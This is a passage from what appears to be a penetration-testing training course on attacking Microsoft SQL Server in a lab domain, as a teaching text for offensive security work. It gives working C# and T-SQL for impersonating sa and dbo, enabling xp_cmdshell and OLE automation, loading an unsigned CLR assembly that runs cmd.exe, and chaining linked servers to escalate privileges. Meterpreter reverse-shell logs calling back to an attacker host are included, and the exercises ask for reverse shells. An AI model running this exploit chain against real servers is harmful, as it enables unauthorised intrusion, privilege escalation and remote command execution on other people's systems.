Furthermore, a database user can only perform actions on a given database. This means that impersonation of a user with sysadmin role membership in a database does not necessarily lead to server-wide sysadmin role membership.

To fully compromise the database server, the database user we impersonate must be in a database that has the TRUSTWORTHY5 property set.

The only native database with the TRUSTWORTHY property enabled is msdb. As is the case with many databases, the database owner (dbo) user has the sysadmin role. To illustrate the privilege escalation technique, the guest user has been given permissions to impersonate dbo in msdb.

We can perform the impersonation by first switching to the msdb database and then executing the "EXECUTE AS USER" statement. In the code, we replace the use of "SELECT SYSTEM_USER" with "SELECT USER_NAME()" and change the previous "EXECUTE AS LOGIN" statement.

Text Only

...
String executeas = "use msdb; EXECUTE AS USER = 'dbo';";

command = new SqlCommand(executeas, con);
reader = command.ExecuteReader();
reader.Close();
...

Listing 26 - Impersonating the dbo user

We can modify our C# console application to perform the user impersonation and then query for the current user context with USER_NAME(). The results are displayed in Listing 27.

Text Only

PS C:\Tools> \\192.168.119.120\visualstudio\Sql\Sql\bin\Release\Sql.exe
Auth success!
Before impersonation
Executing in the context of: guest
After impersonation
Executing in the context of: dbo

Listing 27 - Success in impersonating the dbo user

We have successfully impersonated the dbo user and obtained sysadmin role membership. Nice!

In this section, we covered how impersonation can be used to provide privilege escalation inside the SQL database if misconfigurations are present. At the end of this module, we are going to cover an additional way of obtaining higher privileges.

Exercises

1. Perform enumeration of login impersonation in dc01.
2. Impersonate the sa login on dc01.
3. Impersonate the dbo user in msdb on dc01.

Footnotes

1. (Microsoft, 2017), https://docs.microsoft.com/en-us/dotnet/framework/data/adonet/sql/customizing-permissions-with-impersonation-in-sql-server ↩

2. (Microsoft, 2019), https://docs.microsoft.com/en-us/sql/t-sql/statements/execute-as-transact-sql?view=sql-server-ver15 ↩

3. (Microsoft, 2019), https://docs.microsoft.com/en-us/sql/relational-databases/system-catalog-views/sys-server-permissions-transact-sql?view=sql-server-ver15 ↩

4. (Microsoft, 2017), https://docs.microsoft.com/en-us/sql/relational-databases/system-catalog-views/sys-server-principals-transact-sql?view=sql-server-ver15 ↩

5. (Microsoft, 2017), https://docs.microsoft.com/en-us/sql/relational-databases/security/trustworthy-database-property?view=sql-server-ver15 ↩

26.2.2. Getting Code Execution

With sysadmin role membership, it's possible to obtain code execution on the Windows server hosting the SQL database. The most well-known way of doing this is by using the xp_cmdshell1 stored procedure.

We are going to cover this technique, keeping in mind that because it is well known, we may find that xp_cmdshell is blocked or monitored. For this reason, we'll also cover an alternative technique, which uses the sp_OACreate2 stored procedure. For now, let's begin with xp_cmdshell.

The xp_cmdshell stored procedure spawns a Windows command shell and passes in a string that is then executed. The output of the command is returned by the procedure. Since arbitrary command execution is dangerous, xp_cmdshell has been disabled by default since Microsoft SQL 2005.

Luckily, sysadmin role membership allows us to enable xp_cmdshell using advanced options and the sp_configure3 stored procedure. To do this, we'll need to begin with the impersonation of the sa login. After this, we'll use the sp_configure stored procedure to activate the advanced options and then enable xp_cmdshell.

To activate the advanced options as well as xp_cmdshell, we must remember to update the currently configured values with the RECONFIGURE statement.4

Let's review the code for impersonating the SA login, activating the advanced options, enabling xp_cmdshell, and executing a whoami command.

Text Only

...
                Environment.Exit(0);
            }

            String impersonateUser = "EXECUTE AS LOGIN = 'sa';";
            String enable_xpcmd = "EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;";
            String execCmd = "EXEC xp_cmdshell whoami";

            SqlCommand command = new SqlCommand(impersonateUser, con);
            SqlDataReader reader = command.ExecuteReader();
            reader.Close();

            command = new SqlCommand(enable_xpcmd, con);
            reader = command.ExecuteReader();
            reader.Close();

            command = new SqlCommand(execCmd, con);
            reader = command.ExecuteReader();
            reader.Read();
            Console.WriteLine("Result of command is: " + reader[0]);
            reader.Close();

            con.Close();
        }
    }
...

Listing 28 - Enable and execute xp_cmdshell

Once we update our C# console application and launch it, we should receive the results of the whoami command.

Text Only

PS C:\Tools> \\192.168.119.120\visualstudio\Sql\Sql\bin\Release\Sql.exe
Auth success!
Result of command is: corp1\sqlsvc

Listing 29 - Executing whoami through xp_cmdshell

Excellent, we have proof of code execution in the context of the SQL service account!

As mentioned in the beginning of this section, xp_cmdshell has been used by penetration testers and malicious actors for more than 15 years. Because it's not a well kept secret, many organizations now monitor its usage or simply remove it.

The second technique we will cover in this section uses the sp_OACreate and sp_OAMethod stored procedures to create and execute a new stored procedure based on Object Linking and Embedding (OLE).5

With this technique, we can instantiate the Windows Script Host and use the run method just like we have done in previous versions of our client side code execution.

To explain this technique in detail, we begin with sp_OACreate, which has the prototype shown in Listing 30.

Text Only

sp_OACreate { progid | clsid } , objecttoken OUTPUT [ , context ] 

Listing 30 - sp_OACreate prototype

The procedure takes two arguments. The first is the OLE object that we want to instantiate (wscript.shell in our case), followed by the local variable where we want to store it.

The local variable is created with the DECLARE6 statement, which accepts its name and type. In our case, we will call the local variable @myshell.

Listing 31 shows the SQL statements to create the local variable and instantiate the OLE object.

Text Only

DECLARE @myshell INT; EXEC sp_oacreate 'wscript.shell', @myshell OUTPUT;

Listing 31 - Code to call sp_OACreate

Because @myshell is a local variable, we must stack the SQL queries to ensure it exists when sp_OACreate is invoked.

As the next step, we execute the newly-created stored procedure with the sp_OAMethod7 procedure, which has the method prototype shown in Listing 32.

Text Only

sp_OAMethod objecttoken , methodname  
    [ , returnvalue OUTPUT ]   
    [ , [ @parametername = ] parameter [ OUTPUT ] [ ...n ] ]   

Listing 32 - sp_OAMethod prototype

sp_OAMethod accepts the name of the procedure to execute (@myshell), the method of the OLE object (run), an optional output variable, and any parameters for the invoked method. Therefore, we will send the command we want to execute as a parameter.

Caution

It is not possible to obtain the results from the executed command because of the local scope of the @myshell variable.

Before we can execute our new OLE-based procedure, we must ensure that the "OLE Automation Procedures" setting is enabled. Although it is disabled by default, we can change this setting using the sp_configure procedure before creating the stored procedure since we have the sysadmin role.

The C# code to enable OLE objects and invoke both sp_OACreate and sp_OAMethod is included in Listing 33.

Text Only

...
            Environment.Exit(0);
        }

        String impersonateUser = "EXECUTE AS LOGIN = 'sa';";
        String enable_ole = "EXEC sp_configure 'Ole Automation Procedures', 1; RECONFIGURE;";
        String execCmd = "DECLARE @myshell INT; EXEC sp_oacreate 'wscript.shell', @myshell OUTPUT; EXEC sp_oamethod @myshell, 'run', null, 'cmd /c \"echo Test > C:\\Tools\\file.txt\"';";

        SqlCommand command = new SqlCommand(impersonateUser, con);
        SqlDataReader reader = command.ExecuteReader();
        reader.Close();

        command = new SqlCommand(enable_ole, con);
        reader = command.ExecuteReader();
        reader.Close();

        command = new SqlCommand(execCmd, con);
        reader = command.ExecuteReader();
        reader.Close();

        con.Close();
    }
}
...

Listing 33 - C# code to invoke sp_OACreate and sp_OAMethod

Recall that due to the local scope of @myshell, we must use stacked queries inside the execCmd variable.

With the C# console application updated, we execute it and then launch a command prompt as the admin domain user. Then we can verify that the C:\Tools\file.txt file was created on dc01.

Text Only

C:\Tools> type \\dc01\c$\tools\file.txt
Test

Listing 34 - Proof that our OLE-based procedure worked

The contents of the file prove that our technique worked. We obtained code execution on the host operating system of the SQL server!

In this section, we investigated multiple techniques for getting code execution on the SQL server by using stored procedures that are available by default in MS SQL. In the next section, we are going to expand on this by introducing a custom assembly.

Exercises

1. Use xp_cmdshell to get a reverse Meterpreter shell on dc01.
2. Use sp_OACreate and sp_OAMethod to obtain a reverse Meterpreter shell on dc01.

Footnotes

1. (Microsoft, 2019), https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/xp-cmdshell-transact-sql?view=sql-server-ver15 ↩

2. (Microsoft, 2017), https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-oacreate-transact-sql?view=sql-server-ver15 ↩

3. (Microsoft, 2019), https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-configure-transact-sql?view=sql-server-ver15 ↩

4. (Microsoft, 2016), https://docs.microsoft.com/en-us/sql/t-sql/language-elements/reconfigure-transact-sql?view=sql-server-ver15 ↩

5. (Wikipedia, 2020), https://en.wikipedia.org/wiki/Object_Linking_and_Embedding ↩

6. (Microsoft, 2017), https://docs.microsoft.com/en-us/sql/t-sql/language-elements/declare-local-variable-transact-sql?view=sql-server-ver15 ↩

7. (Microsoft, 2017), https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-oamethod-transact-sql?view=sql-server-ver15 ↩

26.2.3. Custom Assemblies

In the previous section, we covered two techniques for gaining code execution from stored procedures. In this section, we are going to explore a different technique that also allows us to get arbitrary code execution, this time using managed code.

Before we begin, let's discuss this technique. If a database has the TRUSTWORTHY property set, it's possible to use the CREATE ASSEMBLY1 statement to import a managed DLL as an object inside the SQL server and execute methods within it. To take advantage of this, we will need to perform several steps. Let's do that one at a time.

To begin, we will create a managed DLL by creating a new "Class Library (.NET Framework)" project.

As part of the C# code, we create a method (cmdExec) that must be marked as a stored procedure. That statement is highlighted in the initial proof of concept code shown in Listing 35.

Text Only

using System;
using Microsoft.SqlServer.Server;
using System.Data.SqlTypes;
using System.Diagnostics;

public class StoredProcedures
{
    [Microsoft.SqlServer.Server.SqlProcedure]
    public static void cmdExec (SqlString execCommand)
    {
      // TODO
    }
};

Listing 35 - Initial proof of concept

We can implement any method we want inside the class. In this example, we are going to write code that starts a command prompt and executes the command given inside the execCommand argument. We are also going to return the result so our C# console application can print it.

The Process class2 is used to start a process while allowing us to supply arguments through the StartInfo property.3 We use the FileName4 and Arguments5 properties of StartInfo to specify "cmd.exe" and the command to execute respectively.

Additionally, we set UseShellExecute6 to "false" to ensure that the command prompt is created directly from cmd.exe. We also set RedirectStandardOutput7 to "true" so the output from the command prompt does not get printed to the console, but stored in a pipe instead.

The required code for this is shown in Listing 36.

Text Only

...
    [Microsoft.SqlServer.Server.SqlProcedure]
    public static void cmdExec (SqlString execCommand)
    {
        Process proc = new Process();
        proc.StartInfo.FileName = @"C:\Windows\System32\cmd.exe";
        proc.StartInfo.Arguments = string.Format(@" /C {0}", execCommand);
        proc.StartInfo.UseShellExecute = false;
        proc.StartInfo.RedirectStandardOutput = true;
        proc.Start();
...

Listing 36 - Creating the cmd.exe process

Calling the Start8 method creates the process and executes the command supplied in the execCommand argument.

Any output generated as a result of the command line input is not sent to the console, but we can retrieve it using the Pipe9 property of the SqlContext class.10

The Pipe property is actually an embedded object instantiated from the SqlPipe class,11 which allows us to record SQL data and return it to the caller. We will use a combination of SendResultsStart,12 SendResultsRow,13 and SendResultsEnd14 to start recording, record data, and stop recording respectively.

The object used by these APIs to record data into is of type SqlDataRecord.15 The code for this is in Listing 37.

Text Only

...
proc.Start();

SqlDataRecord record = new SqlDataRecord(new SqlMetaData("output", System.Data.SqlDbType.NVarChar, 4000));
SqlContext.Pipe.SendResultsStart(record);
record.SetString(0, proc.StandardOutput.ReadToEnd().ToString());
SqlContext.Pipe.SendResultsRow(record);
SqlContext.Pipe.SendResultsEnd();
...

Listing 37 - Returning output to the caller

To send the output from the command prompt to the SQL record, we copy the contents of the Process object StandardOutput16 property into the record.

This is then returned as part of the result set from the SQL query. Finally, we force the cmd.exe process to wait until all actions are completed and subsequently close it. The complete code is given in Listing 38.

Text Only

using System;
using Microsoft.SqlServer.Server;
using System.Data.SqlTypes;
using System.Diagnostics;

public class StoredProcedures
{
    [Microsoft.SqlServer.Server.SqlProcedure]
    public static void cmdExec (SqlString execCommand)
    {
        Process proc = new Process();
        proc.StartInfo.FileName = @"C:\Windows\System32\cmd.exe";
        proc.StartInfo.Arguments = string.Format(@" /C {0}", execCommand);
        proc.StartInfo.UseShellExecute = false;
        proc.StartInfo.RedirectStandardOutput = true;
        proc.Start();

        SqlDataRecord record = new SqlDataRecord(new SqlMetaData("output", System.Data.SqlDbType.NVarChar, 4000));
        SqlContext.Pipe.SendResultsStart(record);
        record.SetString(0, proc.StandardOutput.ReadToEnd().ToString());
        SqlContext.Pipe.SendResultsRow(record);
        SqlContext.Pipe.SendResultsEnd();

        proc.WaitForExit();
        proc.Close();
    }
};

Listing 38 - Complete code for assembly

Once we have compiled the code into a DLL, we have the assembly that we are going to load into the SQL server and execute. The next step is to find a suitable target database inside the SQL server, since we can only create a procedure from an assembly if the TRUSTWORTHY property is set.

Recall that by default, only the msdb database has this property enabled, but custom databases may use it as well. With this in mind, we are going to target msdb.

Creating a stored procedure from an assembly is not allowed by default. This is controlled through the CLR Integration17 setting, which is disabled by default. Luckily, we can enable it with sp_configure and the clr enabled option.

Beginning with Microsoft SQL server 2017, there is an additional security mitigation called CLR strict security.18 This mitigation only allows signed assemblies by default. CLR strict security can be disabled through sp_configure with the clr strict security option.

In summary, we must execute the SQL statements shown in Listing 39 before we start creating the stored procedure from an assembly.

Text Only

use msdb

EXEC sp_configure 'show advanced options',1
RECONFIGURE

EXEC sp_configure 'clr enabled',1
RECONFIGURE

EXEC sp_configure 'clr strict security', 0
RECONFIGURE

Listing 39 - Enable CLR and disable strict security

With all the security considerations taken care of, we can import the assembly with the CREATE ASSEMBLY statement. Its prototype is in Listing 40.

Text Only

CREATE ASSEMBLY assembly_name  
[ AUTHORIZATION owner_name ]  
FROM { <client_assembly_specifier> | <assembly_bits> [ ,...n ] }  
[ WITH PERMISSION_SET = { SAFE | EXTERNAL_ACCESS | UNSAFE } ]

Listing 40 - CREATE ASSEMBLY prototype

We must supply a custom assembly name, a file location, and specify the PERMISSION_SET to be UNSAFE to allow execution of unsigned .NET code.

As the first step, we are going to copy the compiled assembly (cmdExec.dll) onto dc01 in the C:\Tools folder.

Caution

On Windows server 2016 and earlier, this technique would also work through a UNC path, but Windows server 2019 does not allow access to SMB shares without authentication.

While this is not something we'd use in a real-world scenario, it will help us understand the technique. Later in the section, we will improve our technique and learn how to avoid this step.

Next, we can craft the CREATE ASSEMBLY command and import the DLL.

Text Only

CREATE ASSEMBLY myAssembly FROM 'c:\tools\cmdExec.dll' WITH PERMISSION_SET = UNSAFE;

Listing 41 - Import assembly with CREATE ASSEMBLY

Once the DLL has been imported, we need to create a procedure based on the cmdExe method with the CREATE PROCEDURE statement.19

Text Only

CREATE [ OR ALTER ] { PROC | PROCEDURE } 
    [schema_name.] procedure_name [ ; number ]   
    [ { @parameter [ type_schema_name. ] data_type }  
        [ VARYING ] [ = default ] [ OUT | OUTPUT | [READONLY]  
    ] [ ,...n ]   
[ WITH <procedure_option> [ ,...n ] ]  
[ FOR REPLICATION ]   
AS { [ BEGIN ] sql_statement [;] [ ...n ] [ END ] }  
[;]  

Listing 42 - CREATE PROCEDURE prototype

To do so, we first specify the "CREATE PROCEDURE" statement followed by the name we want to assign to our custom procedure ([dbo].[cmdExec]) and the argument(s) it accepts (@execCommand NVARCHAR (4000)). We then specify the function name in our newly imported assembly ([myAssembly].[StoredProcedures].[cmdExec]), which will be executed when our procedure is invoked.

Text Only

CREATE PROCEDURE [dbo].[cmdExec] @execCommand NVARCHAR (4000) AS EXTERNAL NAME [myAssembly].[StoredProcedures].[cmdExec];

Listing 43 - Create procedure from assembly

The last half of the SQL query starts with the AS keyword and then specifies the location of the C# method to create a procedure from ([myAssembly].[StoredProcedures].[cmdExec]). This is marked by the EXTERNAL NAME prefix since it is non-native.

As the final step, we must invoke the newly-created procedure and supply an argument.

Text Only

EXEC cmdExec 'whoami'

Listing 44 - Execute the new procedure

Now that we have everything we need, we can combine it and implement it from our C# console application. The output from running it is shown in Listing 45.

Text Only

PS C:\Tools> \\192.168.119.120\visualstudio\Sql\Sql\bin\Release\Sql.exe
Auth success!
Result of command is: corp1\sqlsvc

Listing 45 - Execution of the method from the assembly

This proves that we obtained code execution through our custom assembly!

Caution

It is not possible to call CREATE ASSEMBLY on the same assembly multiple times without removing the previous one. Instead, the DROP ASSEMBLY statement20 must be used to drop it. In addition, an assembly cannot be dropped if a procedure that requires it has been created. In that case, the DROP PROCEDURE statement21 must be used first.

In our technique to get code execution from a custom assembly, we initially copied the compiled assembly to the hard drive of the SQL server, which is not realistic. Let's explore a better alternative.

It is possible to directly embed the assembly in the CREATE ASSEMBLY SQL query. This is done by directly putting a hexadecimal string containing the binary content of the assembly in the FROM clause instead of specifying the file path.

To convert the assembly (cmdExec.dll) into a hexadecimal string, we use the small PowerShell script shown in Listing 46.

Text Only

$assemblyFile = "\\192.168.119.120\visualstudio\Sql\cmdExec\bin\x64\Release\cmdExec.dll"
$stringBuilder = New-Object -Type System.Text.StringBuilder 

$fileStream = [IO.File]::OpenRead($assemblyFile)
while (($byte = $fileStream.ReadByte()) -gt -1) {
    $stringBuilder.Append($byte.ToString("X2")) | Out-Null
}
$stringBuilder.ToString() -join "" | Out-File c:\Tools\cmdExec.txt

Listing 46 - Converting DLL into hexidecimal string

With the assembly converted to a hexadecimal string, we only have to update the CREATE ASSEMBLY statement as given in Listing 47.

Text Only

CREATE ASSEMBLY my_assembly FROM 0x4D5A900..... WITH PERMISSION_SET = UNSAFE;

Listing 47 - CREATE ASSEMBLY statement with hexidecimal string

Before executing the updated C# console application, we have to ensure that our previous work with CREATE ASSEMBLY and CREATE PROCEDURE has not left any procedures or assemblies on the SQL server. If this is the case, we must first remove them with DROP PROCEDURE and DROP ASSEMBLY.

After that is done, we can execute the query with the embedded assembly and get code execution as shown in Listing 48.

Text Only

PS C:\Tools> \\192.168.119.120\visualstudio\Sql\Sql\bin\Release\Sql.exe
Auth success!
Result of command is: corp1\sqlsvc

Listing 48 - Execution of the method from the assembly

Once more, we have arbitrary code execution but this time without having to write an assembly to disk on the target!

In this section, we covered how to gain code execution on the SQL server host operating system through a custom assembly, which allows us to reuse our previous C# code.

Exercises

1. Repeat the steps to obtain command execution through the custom assembly.
2. Leverage the technique to obtain a reverse shell.

Footnotes

1. (Microsoft, 2018), https://docs.microsoft.com/en-us/sql/t-sql/statements/create-assembly-transact-sql?view=sql-server-ver15 ↩

2. (Microsoft, 2020), https://docs.microsoft.com/en-us/dotnet/api/system.diagnostics.process?view=netframework-4.8 ↩

3. (Microsoft, 2020), https://docs.microsoft.com/en-us/dotnet/api/system.diagnostics.process.startinfo?view=netframework-4.8 ↩

4. (Microsoft, 2020), https://docs.microsoft.com/en-us/dotnet/api/system.diagnostics.processstartinfo.filename?view=netframework-4.8#System_Diagnostics_ProcessStartInfo_FileName ↩

5. (Microsoft, 2020), https://docs.microsoft.com/en-us/dotnet/api/system.diagnostics.processstartinfo.arguments?view=netframework-4.8#System_Diagnostics_ProcessStartInfo_Arguments ↩

6. (Microsoft, 2020), https://docs.microsoft.com/en-us/dotnet/api/system.diagnostics.processstartinfo.useshellexecute?view=netframework-4.8#System_Diagnostics_ProcessStartInfo_UseShellExecute ↩

7. (Microsoft, 2020), https://docs.microsoft.com/en-us/dotnet/api/system.diagnostics.processstartinfo.redirectstandardoutput?view=netframework-4.8#System_Diagnostics_ProcessStartInfo_RedirectStandardOutput ↩

8. (Microsoft, 2020), https://docs.microsoft.com/en-us/dotnet/api/system.diagnostics.process.start?view=netframework-4.8 ↩

9. (Microsoft, 2020), https://docs.microsoft.com/en-us/dotnet/api/microsoft.sqlserver.server.sqlcontext.pipe?view=netframework-4.8 ↩

10. (Microsoft, 2020), https://docs.microsoft.com/en-us/dotnet/api/microsoft.sqlserver.server.sqlcontext?view=netframework-4.8 ↩

11. (Microsoft, 2020), https://docs.microsoft.com/en-us/dotnet/api/microsoft.sqlserver.server.sqlpipe.sendresultsstart?view=netframework-4.8 ↩

12. (Microsoft, 2020), https://docs.microsoft.com/en-us/dotnet/api/microsoft.sqlserver.server.sqlpipe.sendresultsstart?view=netframework-4.8 ↩

13. (Microsoft, 2020), https://docs.microsoft.com/en-us/dotnet/api/microsoft.sqlserver.server.sqlpipe.sendresultsrow?view=netframework-4.8 ↩

14. (Microsoft, 2020), https://docs.microsoft.com/en-us/dotnet/api/microsoft.sqlserver.server.sqlpipe.sendresultsend?view=netframework-4.8 ↩

15. (Microsoft, 2020), https://docs.microsoft.com/en-us/dotnet/api/microsoft.sqlserver.server.sqldatarecord?view=netframework-4.8 ↩

16. (Microsoft, 2020), https://docs.microsoft.com/en-us/dotnet/api/system.diagnostics.process.standardoutput?view=netframework-4.8 ↩

17. (Microsoft, 2019), https://docs.microsoft.com/en-us/sql/relational-databases/clr-integration/clr-integration-enabling?view=sql-server-ver15 ↩

18. (Microsoft, 2017), https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/clr-strict-security?view=sql-server-ver15 ↩

19. (Microsoft, 2017), https://docs.microsoft.com/en-us/sql/t-sql/statements/create-procedure-transact-sql?view=sql-server-ver15 ↩

20. (Microsoft, 2017), https://docs.microsoft.com/en-us/sql/t-sql/statements/drop-assembly-transact-sql?view=sql-server-ver15 ↩

21. (Microsoft, 2017), https://docs.microsoft.com/en-us/sql/t-sql/statements/drop-procedure-transact-sql?view=sql-server-ver15 ↩

26.3. Linked SQL Servers

So far, we have exclusively dealt with the SQL server on dc01. As we discovered during enumeration, there is also a SQL server instance on appsrv01. It is possible to link multiple SQL servers1 together in such a way that a query executed on one SQL server fetches data or performs an action on a different SQL server.

In the next sections, we are going to dig into how this type of link can be leveraged to perform both privilege escalation and obtain code execution on additional SQL servers.

Footnotes

1. (Microsoft, 2019), https://docs.microsoft.com/en-us/sql/relational-databases/linked-servers/linked-servers-database-engine?view=sql-server-ver15 ↩

26.3.1. Follow the Link

When a link from one SQL server to another is created, the administrator must specify the execution context that will be used during the connection. While it is possible to have the context be dynamic based on the security context1 of the current login, some administrators opt to choose a specific SQL login instead.

If the administrator chooses a specific SQL login and that login has sysadmin role membership, we would obtain sysadmin privileges on the linked SQL server. This will be the case even if we only have low privileged access on the original SQL server.

The first step for this kind of attack is to enumerate servers linked to the current SQL server. The sp_linkedservesr2 stored procedure returns a list of linked servers for us. It does not require any arguments, but it may return multiple results that we must print to the console.

In this example, we are going to connect to appsrv01 instead of dc01 and not perform any impersonation, since sp_linkedserver does not require any privileges to execute. An excerpt of the required code is shown in Listing 49.

Text Only

...
            Environment.Exit(0);
        }

        String execCmd = "EXEC sp_linkedservers;";

        SqlCommand command = new SqlCommand(execCmd, con);
        SqlDataReader reader = command.ExecuteReader();

        while (reader.Read())
        {
            Console.WriteLine("Linked SQL server: " + reader[0]);
        }
        reader.Close();

        con.Close();
    }
}
...

Listing 49 - Code to enumerate linked server

Once the C# console application has been compiled, we can enumerate all linked servers from appsrv01 and obtain the results displayed in Listing 50.

Text Only

PS C:\Tools> \\192.168.119.120\visualstudio\Sql\Sql\bin\Release\Sql.exe
Auth success!
Linked SQL server: APPSRV01\SQLEXPRESS
Linked SQL server: DC01

Listing 50 - Linked servers from appsrv01

As noted from the highlighted output, there is a linked SQL server called "DC01".

The next step is to perform a SQL query on a linked server. First, we are going to simply find the version of the SQL server instance on dc01. This can be done using the OPENQUERY3 keyword as part of the FROM clause. An example is given in Listing 51.

Text Only

select version from openquery("dc01", 'select @@version as version')

Listing 51 - Use OPENQUERY to enumeration SQL version

When implementing this in our C# console application, we need to be careful to escape double quotes (") correctly.

With the project compiled, we execute it and obtain the version from the linked SQL server.

Text Only

PS C:\Tools> \\192.168.119.120\visualstudio\Sql\Sql\bin\Release\Sql.exe
Auth success!
Linked SQL server version: Microsoft SQL Server 2019 (RTM) - 15.0.32.50 (X64)
        Aug 22 2019 17:04:49
        Copyright (C) 2019 Microsoft Corporation
        Express Edition (64-bit) on Windows Server 2019 Standard 10.0 <X64> (Build 17763: ) (Hypervisor)

Listing 52 - Locating SQL server version on DC01

This example proves that it's possible to perform SQL queries across linked servers. Let's see which security context we are executing in.

In order to do that, we replace the query for the SQL version to the SQL login with SYSTEM_USER and obtain the results given in Listing 53.

Text Only

PS C:\Tools> \\192.168.119.120\visualstudio\Sql\Sql\bin\Release\Sql.exe
Auth success!
Executing as the login corp1\offsec on APPSRV01
Executing as the login sa on DC01

Listing 53 - Enumerating the security context on linked server DC01

As noted from Listing 53, our local login is our domain user, while the linked security context is sa. Excellent!

We already learned that sa access allows us to gain code execution. To do this again, we will execute our PowerShell shellcode runner through a download cradle with the xp_cmdshell stored procedure.

Since xp_cmdshell (and other code execution techniques) require advanced options to be changed, we must update the running configuration using the RECONFIGURE statement. When this statement is executed against a remote server, Microsoft SQL uses Remote Procedure Call (RPC) to do so. For this to work, the created link must be configured with outbound RPC through the RPC Out4 setting.

RPC Out is not a setting that is turned on by default, but is commonly set by system administrators. If RPC Out is not allowed, it can be enabled with the sp_serveroption stored procedure5 if our current user has sysadmin role membership.

Microsoft documentation for OPENQUERY6 specifically states that executing stored procedures is not supported on linked SQL servers. Instead, we are going to use the AT keyword to specify which linked SQL server a query should be executed on.

Listing 54 shows the query needed to enable advanced options.

Text Only

EXEC ('sp_configure ''show advanced options'', 1; reconfigure;') AT DC01

Listing 54 - Executing sp_configre on linked server

Notice the use of single quotes; the SQL escape character for a single quote is a single quote, which means that we must double them on the inner strings.

Similarly, we can enable xp_cmdshell and invoke it on dc01. When using the PowerShell download cradle, we must keep an eye out for string quote issues. The simplest way to solve this is by Base64 encoding the download cradle and invoking it with the EncodedCommand parameter. In this manner, all string quotes are avoided.

After updating the C# console application, setting up a Meterpreter listener, and ensuring that the PowerShell shellcode runner is present on our Apache web server, we can trigger the attack and obtain a reverse shell on the linked SQL server:

Text Only

[*] Started HTTPS reverse handler on https://192.168.119.120:443
[*] https://192.168.119.120:443 handling request from 192.168.120.10; (UUID: q43npwu4) Staging x64 payload (202329 bytes) ...
[*] Meterpreter session 1 opened (192.168.119.120:443 -> 192.168.120.10:51808)


meterpreter > sysinfo
Computer        : DC01
OS              : Windows 2016+ (10.0 Build 17763).
Architecture    : x64
...

Listing 55 - Getting a shell from the linked SQL server

As noted from the output of the sysinfo command in Listing 55, our reverse shell does indeed come from dc01.

Note that the SQL server process is terminated when the shell exits unless EXITFUNC is set to thread.

In this section, we have learned how linked SQL servers can be abused to execute SQL queries on other SQL servers and even obtain code execution on them. In the next section, we are going to abuse this even further to perform privilege escalation.

Exercises

1. Enumerate linked SQL servers from appsrv01.
2. Implement the code required to enable and execute xp_cmdshell on dc01 and obtain a reverse shell.

Extra Mile

While Microsoft documentation specifies that execution of stored procedures is not supported on linked SQL servers with the OPENQUERY keyword, it is actually possible.

Modify the SQL queries to obtain code execution on dc01 using OPENQUERY instead of AT.

Footnotes

1. (Microsoft, 2020), https://docs.microsoft.com/en-us/sql/relational-databases/linked-servers/create-linked-servers-sql-server-database-engine?view=sql-server-ver15 ↩

2. (Microsoft, 2017), https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-linkedservers-transact-sql?view=sql-server-ver15 ↩

3. (Microsoft, 2017), https://docs.microsoft.com/en-us/sql/t-sql/functions/openquery-transact-sql?view=sql-server-ver15 ↩

4. (Microsoft, 2012), https://docs.microsoft.com/en-us/previous-versions/sql/sql-server-2008-r2/ms186839(v=sql.105)?redirectedfrom=MSDN ↩

5. (Microsoft, 2017), https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-serveroption-transact-sql?view=sql-server-ver15 ↩

6. (Microsoft, 2017), https://docs.microsoft.com/en-us/sql/t-sql/functions/openquery-transact-sql?view=sql-server-ver15 ↩

26.3.2. Come Home To Me

In the previous section, we discovered that if linked SQL servers exist, it may be possible to exploit them depending on the security context of the link. In this section, we are going to learn how this could also be used for privilege escalation on the local SQL server.

As we learned previously, the SQL server at appsrv01 has a link to the one at dc01. We can also execute the sp_linkedservers procedure on dc01 to locate any additional links from dc01. One important fact to keep in mind is that SQL server links are not bidirectional by default.

The easiest way to do this is with the AT syntax as shown in Listing 56.

Text Only

EXEC ('sp_linkedservers') AT DC01

Listing 56 - Find linked servers on DC01

We can update our original link enumeration C# code to find the linked servers on dc01, which yields the results given in Listing 57.

Text Only

PS C:\Tools> \\192.168.119.120\visualstudio\Sql\Sql\bin\Release\Sql.exe
Auth success!
Linked SQL server: APPSRV01
Linked SQL server: DC01\SQLEXPRESS

Listing 57 - DC01 has a link to APPSRV01

The SQL server on dc01 has a link to the SQL server on appsrv01. This means that we could follow the link to dc01 to obtain the SA login security context, and then return back over the link to appsrv01.

To investigate what privileges that gives us on appsrv01, we can use the OPENQUERY keyword twice. First, we'll use it to execute a query on dc01 and inside that, we'll use it again to execute a query on appsrv01.

Text Only

select mylogin from openquery("dc01", 'select mylogin from openquery("appsrv01", ''select SYSTEM_USER as mylogin'')')

Listing 58 - Finding the login on APPSRV01 after following the links

Once we implement this in our C# console application (while remembering to escape the double quotes), we find that our privileges on appsrv01 have been elevated.

Text Only

PS C:\Tools> \\192.168.119.120\visualstudio\Sql\Sql\bin\Release\Sql.exe
Auth success!
Executing as login: sa

Listing 59 - We are in security context of SA after following links

We started with the corp1\offsec login but after following the link to dc01 and then back to appsrv01, we have obtained execution as sa. Nice!

Since we now have sysadmin role membership on appsrv01, we can get code execution through the same technique as in the previous section.

Again, the most direct way is with the AT keyword, but we have to execute a query on the linked server dc01, which then executes a query on appsrv01. This means we need two instances of the AT keyword as shown in Listing 60.

Text Only

EXEC ('EXEC (''sp_configure ''''show advanced options'''', 1; reconfigure;'') AT appsrv01') AT dc01

Listing 60 - Enabling advanced options on appsrv01

It is also important to notice the use of single quotes in the SQL query. We have to escape all embedded single quotes with single quotes, which means the inner string (show advanced options) needs four single quotes.

Caution

Each time we follow a link, the number of single quotes doubles, so we need to be careful when crafting queries.

We can modify the remaining SQL queries in the same manner to execute our PowerShell download cradle on appsrv01. Once the C# console application is updated and executed, we obtain our reverse Meterpreter shell as given in Listing 61. Nice!

Text Only

[*] Started HTTPS reverse handler on https://192.168.119.120:443
[*] https://192.168.119.120:443 handling request from 192.168.120.6; (UUID: tqdniu2q) Staging x64 payload (202329 bytes) ...
[*] Meterpreter session 2 opened (192.168.119.120:443 -> 192.168.120.6:50270)


meterpreter > sysinfo
Computer        : APPSRV01
